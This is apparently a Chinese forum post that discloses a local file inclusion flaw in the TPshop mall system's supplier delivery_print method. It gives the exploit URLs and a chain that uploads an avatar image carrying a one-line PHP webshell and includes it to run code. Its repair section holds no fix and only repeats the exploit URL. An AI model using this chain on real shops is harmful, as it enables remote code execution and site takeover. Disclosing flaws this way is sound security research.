0x01 前言

TPshop开源商城系统( Thinkphp shop的简称 ),是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城,系统PC+后台是基于ThinkPHP MVC构架开发的跨平台开源软件,设计得非常灵活,具有模块化架构体系和丰富的功能,易于与第三方应用系统无缝集成,在设计上,包含相当全面,以模块化架构体系,让应用组合变得相当灵活,功能也相当丰富。

0x02 代码分析

跟踪到/Application/supplier/Controller/Order.php中的delivery_printorder_print方法

531 Line: 从外部获取参数为template的值,默认值为print并赋给$template
532 Line: 调用基类中的fetch方法,并将$template传入,$template为模板文件

512 Line: 从外部获取参数为template的值,默认值为picing并赋给$template
513 Line: 调用基类中的fetch方法,并将$template传入,$template为模板文件

模板参数用户可控,造成本地任意文件包含漏洞,系统没有append方法,所以只有delivery_print方法可以触发漏洞

0x03 漏洞探测

http://172.16.209.129:8084/supplier/order/delivery_print?template=1

http://172.16.209.129:8084/supplier/order/delivery_print?template=1.php

由上可知当不带后缀名的情况下,程序会自动添加上路径及后缀,当带有后缀的情况下程序不会加上路径

读取一下根目录下的robots.txt
http://172.16.209.129:8084/supplier/order/delivery_print?template=robots.txt

0x04 漏洞复现

用户个人资料修改处上传图片
http://172.16.209.129:8084/Home/User/info.html

选择一张没有带特殊符号的图片进行上传,加上一句话代码

http://172.16.209.129:8084/supplier/order/delivery_print?template=public/upload/user/4575/head_pic/5989ee42cc5992e64a60c52b0cbb7602.png&w=phpinfo();

成功引发了代码执行

0x05 漏洞修复


http://172.16.209.129:8084/supplier/order/delivery_print?template=public/upload/user/4575/head_pic/5989ee42cc5992e64a60c52b0cbb7602.png&w=phpinfo();

干净图片.zip (0.001 MB) 下载附件
点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖